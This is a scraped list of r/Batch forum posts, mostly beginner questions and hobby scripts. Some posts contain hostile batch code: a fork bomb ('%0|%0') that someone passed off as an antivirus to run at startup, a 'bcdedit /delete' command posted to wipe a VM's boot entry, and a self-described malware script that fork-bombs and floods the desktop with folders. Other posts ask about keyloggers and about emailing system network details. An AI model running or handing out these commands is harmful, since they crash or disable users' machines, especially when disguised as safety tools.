r/Batch • • May 11 '22

Question (Unsolved) I challenge you to code doom In batch

1 Upvotes

Code doom in batch and post it.(please put the post in the comments)


r/Batch • • Jul 21 '25

Guys someone told me to type in ```%0|%0 ``` in my notepad and save it to Antivirus.bat he said it’s a advanced antivirus that connects to database and starts, while it takes less space, and make it start every time computer starts. Is this some kind of malware?

0 Upvotes

r/Batch • • May 23 '26

I made Still Alive-Portal 2008 in BAT

Post image
0 Upvotes

For Windows: https://drive.google.com/file/d/16P6tflktBzem54lcfQdvW8eHtFbB-4uW/view?usp=drive_link
image shows the file isnt virus
(please priv chat me if you want linux version)


r/Batch • • Feb 05 '21

Question (Solved) How to delete MBR and run multiple commands?

0 Upvotes

So I am trying to make a batch file to delete the MBR from a vm. also including a reboot command.

I dont know how to delete the mbr and run 2 commands in windows batch. Please someone help me.

My progress with MBR deletion: bcdedit /delete {CURRENT]

The reboot command I'm trying to execute is: wmic os primary=1 reboot

THIS IS FOR A VM, NOT TO MAKE A PUBLIC VIRUS

Edit: I did some digging and finally did it. There is no need to reply anymore.


r/Batch • • Feb 12 '20

Batch shortcut

0 Upvotes

Hello,I need help creating a batch shortcut on my Desktop,can somebody upload a batch command ?


r/Batch • • Jun 26 '25

I don't know why, but I'm still writing Batch scripts in 2025... and you?

3 Upvotes

Even though it's been over 20 years, I still go back to writing scripts in .bat or .cmd… just for the fun of watching something crazy come to life in the prompt.

Like this:

color 0a
title HACKED SYSTEM
:loop
echo Access denied. Starting scan...
timeout /nobreak /t 1 >nul
goto loop

🖥️ I know it's not useful. It's not modern. But it's satisfying, simple, magical.

I've noticed that I'm not the only one: there are still people who create games, tools, fake systems… and even really cool stuff just for fun or nostalgia.

👋 If you are one of these… come visit us on:

👉 r/ObsoleteCooding

It is a new community dedicated to Batch, DOS, Pascal, QBasic, VBScript and all those languages that are “no longer used”... but that still make our eyes shine.

There we will post:

•Old school games

•Absurd or ingenious scripts

•Custom prompts

•Modern projects with obsolete languages

•Creative challenges every week

📣 Question for you: What is the first script you wrote in Batch? Do you remember it? Post it below 👇 or on /r/ObsoleteCooding with the tag #MyFirstBatch


r/Batch • • May 09 '19

How to make this in batch files (sorry, im a noob at this stuff)

0 Upvotes

I want a script where I can type in in the file, "echo hi" and it echoes "hi", just like command prompt, but as a custom batch file. How to do it in a custom file? (@echo is off btw)


r/Batch • • Sep 16 '22

Question (Unsolved) How do I change the Icon of a batch file

0 Upvotes

r/Batch • • Feb 13 '23

Delete the SQL table content using batch command?

0 Upvotes

I need to delete the entries is SQL table periodically by running a batch command. please help


r/Batch • • Dec 30 '21

Variables

0 Upvotes

can i make vars to set as certain values when called, like when the program is run, or when something is input into the prompt? or something like that?

edit: sorry i'm quite new to batch

edit: solved


r/Batch • • Dec 10 '22

I just fucked my friends pc by making g a startup script

0 Upvotes

Simple script, nailed his pc. How to I fix this and make it up to him I actually feel bad


r/Batch • • Nov 23 '19

I've decided to do my own CTF and I thought a batch file would be good for the people I'm giving it too. But the key was in plain sight in the code. How do I fix it? Simple. Making it terrible to the eyes.

Post image
2 Upvotes

r/Batch • • Sep 13 '24

I hate Batch NSFW

2 Upvotes

I've wasted so much time "hacking" my way through my code. It's like the language is working against me. Hours wasted on things that should be simple and common sense and indeed are in other languages but they require esoteric techniques in Batch. I hate it so much that I keep laughing out loud while learning of solutions to my (very simple) problems. It's hilarious really, and I'm having a lot of fun. Yes, I do hate the fact that I'm wasting so much time doing simple things, but at the same time I'm also fascinated with the techniques required to solve the archaic problems that Batch throws at me for no apparent reason but to seemingly make me suffer. It's very much like an abuse partner and a love/hate relationship. That is all.


r/Batch • • Apr 20 '20

What should i make in Batch

2 Upvotes
61 votes, Apr 27 '20
25 A Game Engine
4 A Window Manager
7 A Text editer
12 A neural network
13 A Prank Virus that Rick Rolls you (NOT A REAL VIRUS. JUST A SCRIPT THAT MAKES YOU THINK YOU HAVE A VIRUS)

r/Batch • • Mar 26 '20

Question (Solved) Keylogger batch script

4 Upvotes

Hi, i was wondering if it's possible to make a keylogger with a batch script. I don't want any code, i'm just curious if it's possible :)


r/Batch • • 28d ago

Show 'n Tell :3 i made a hatecrime against the concept of a batch file (i cant really show the inner workings for 2 reasons)

Thumbnail
gallery
1 Upvotes

reason 1: these are 17 unique batch files

reason 2: i'd be responsible for taking thousands of lives via aneurysms if i showed the inner workings of these abominations

if any of yall have solutions, i will post the files' contents (spoilered so i am not responsible for damages caused by viewing this ungodly abomination cobbled together from 50 google searches and lackluster knowledge of batch files)

note:

when learning programming languages, i can work with computing logic perfectly in my head, even mapping out small programs. to use a metaphor, it's like knowing the concepts most words refer to, but not knowing any languages. knowing a few words and grammar rules but not knowing which languages they belong to or any words for most of the concepts. i have issues with executive dysfunction and not knowing where it'll start from when attempting to learn programming languages actually fit for these things.

batch files fix this. i have a rudimentary idea of how they work, you can google just about anything for text manipulation with batch and get results, you can boil most issues down to a lot of text manipulation and it always executes exactly from line 1 of the batch file you called.

this is why i use batch files for this stuff where it becomes a hatecrime against the idea of programming.

yap abt why batch is what i pivot to aside, :3

if you want the files, ask in the comments. if i have been told a way to show all of their code, i will do that and link the .zip containing them.

(i am not showing any scripts in the post, so i figure not showing the code is ok until i actually show the scripts)

edit: https://github.com/SillyLily93/BatIncorrectQuoteGenerator/tree/main


r/Batch • • Jun 06 '25

Question (Unsolved) Converting Bat to Exe, But got this Error When I tried running it

Thumbnail
gallery
1 Upvotes

If images are acting up, use these links to see them:

[Image 1] [Image 2] [Image 3] [Image 4]

(with and without the embed i get the same error)

I'm using BAT_TO_EXE_CONVERTER.EXE

what is going on, and how do i stop it from happening???


r/Batch • • Nov 15 '19

MS-DOS Batch-Based Operative System

1 Upvotes

Here's my OS, based on the one made by prof. hacker 6661 (youtu.be/C_1-xoOGtno)

@echo off

color 1b

cls

:select

cls

color 1b

echo 1)Admin Login!

echo 2)Guest login!

set /p logintype=

if %logintype% == 1 goto bootscreen

if %logintype% == 2 goto ltddesktop

:bootscreen

cls

set /p password= Password:

if %password% == pass goto desktop

if not %password% == pass goto bootscreentwo

goto bootscreen

:desktop

cls

color 0a

cls

echo Welcome Admin.

echo.

echo Date: %date% Time: %time%

echo Here are your options in your own OS!!:

echo 1)Write text file.

echo 2)Documents...

echo 3)Calculator...

echo 4)Antivirus.

echo 5)Log off.

set /p menuselect=

if %menuselect% == 1 goto write

if %menuselect% == 2 goto browse

if %menuselect% == 3 goto calculator

if %menuselect% == 4 goto antivirus

if %menuselect% == 5 goto select

:write

cls

echo Welcome to Write, an application which let's you write text files...

echo What slot you want to use? (1-3)

set /p file=

if %file% == 1 set name= writeone

if %file% == 1 set file= textone

if %file% == 2 set name= writetwo

if %file% == 2 set file= texttwo

if %file% == 3 set name= writethree

if %file% == 3 set file= textthree

cls

echo What will be the name of your text?

set /p %name%= Name:

cls

echo Ok, your file has been created. Have fun!

pause

cls

set /p %file%=

pause

echo Ok, now your done, you will be redirected to the desktop...

pause

goto desktop

:calculator

cls

set /p equ=

set /a equ=%equ%

cls

echo %equ%

pause

goto desktop

:browse

cls

echo 1)%writeone%

echo 2)%writetwo%

echo 3)%writethree%

set /p browse=

if %browse% == 1 goto textone

if %browse% == 2 goto texttwo

if %browse% == 3 goto textthree

:textone

cls

echo %writeone%

echo %textone%

pause

goto desktop

:texttwo

cls

echo %writetwo%

echo %texttwo%

pause

goto desktop

:textthree

cls

echo %writethree%

echo %textthree%

pause

goto desktop

:antivirus

cls

color 07

echo Antivirus

echo created by Rubiktor012

echo press any key to scan...

pause>nul

:start

IF EXIST virus.bat goto infected

IF NOT EXIST virus.bat goto clean

cd C:Windowssystem32

:infected

color 0c

echo WARNING VIRUS DETECTED!

del virus.bat

pause

goto start

:clean

color 0a

echo System secure!

pause

goto desktop

:bootscreentwo

cls

echo ~That was the wrong password~

echo 1)Admin Login!

echo 2)Guest login!

set /p logintype=

if %logintype% == 1 goto bootscreen

if %logintype% == 2 goto ltddesktop

:ltddesktop

color 1b

cls

echo Hello there, you are logged in as a guest, you do not have permission to create or browse through text files...

echo.

echo You can use the standard tools such as: The calculator, the clock and the Antivirus...

echo.

echo Have fun!

pause

:guest

color 1b

cls

echo 1)Calculator!

echo 2)Clock

echo 3)Antivirus

echo 4)Log off.

set /p ltdmenu=

if %ltdmenu% == 1 goto ltdcalculator

if %ltdmenu% == 2 goto clock

if %ltdmenu% == 3 goto ltdantivirus

if %ltdmenu% == 4 goto select

:clock

cls

echo %date% %time%

pause

goto guest

:ltdcalculator

cls

set /p equ=

set /a equ=%equ%

cls

echo %equ%

pause

goto guest

goto guest

:ltdantivirus

cls

color 7f

echo Antivirus

echo created by Rubiktor012

echo press any key to scan...

pause>nul

:ltdstart

IF EXIST virus.bat goto ltdinfected

IF NOT EXIST virus.bat goto ltdclean

cd C:Windowssystem32

:ltdinfected

color 4c

echo WARNING VIRUS DETECTED!

del virus.bat

pause

goto ltdstart

:ltdclean

color 2a

echo System secure!

pause

goto guest

The Admin. password is pass in lower-case


r/Batch • • Feb 03 '21

Can some 1 help me get this working

1 Upvotes

Its working now i wil make a new post if i find a new ishu


r/Batch • • Jan 22 '21

help pls

0 Upvotes

ok so i got bored and made a sort of malware

----------------

cd %userprofile%\desktop\

echo off

cls

:loopstart

%0|%0

md %random%%random%%random%%random%%random%

goto loopstart

------------

it basically makes a huge amount of files on your desktop and you can't close the program once you run it.

and i accidentally ran this malware so now my pc has a billion files on the desktop which it can't delete BECAUSE THERE IS SO MANY. i was thinking maybe i could make a batch file that would delete these files. i could run it, it would slowly but surely delete them one by one and eventually it would delete them all. does anyone know how i might do something like this?

(note: there werent any important things on my desktop so its okay if it deletes EVERYTHING on the desktop.)


r/Batch • • Jul 03 '22

Question (Unsolved) Problem not fixed in the game

1 Upvotes

Okay, so i tried to fixed an error in the game but when i fixed it, the game will kill me every time i tried killing a creature so old version it i then...

Game: https://www.mediafire.com/file/mqwp9a2z89hkwjy/Fps_Engine-Cellers-.rar/file


r/Batch • • Jun 27 '22

Question (Unsolved) Send email with batch

1 Upvotes

Hi, i want to send an email at [email protected], an email with all information found doing the command ipconfig, how can i do that?

i want to do "send email to [email protected]", not "send email from [email protected] to [email protected] "

btw i have Windows 10 pro


r/Batch • • Mar 06 '15

M$ Removed Fullscreen Support in Vista - So I bought it back with some OpenGL Magic!

Thumbnail dl.dropboxusercontent.com
0 Upvotes

r/Batch • • Oct 04 '24

Do you find my videos helpful? Feel free to suggest anything📩-batchman

1 Upvotes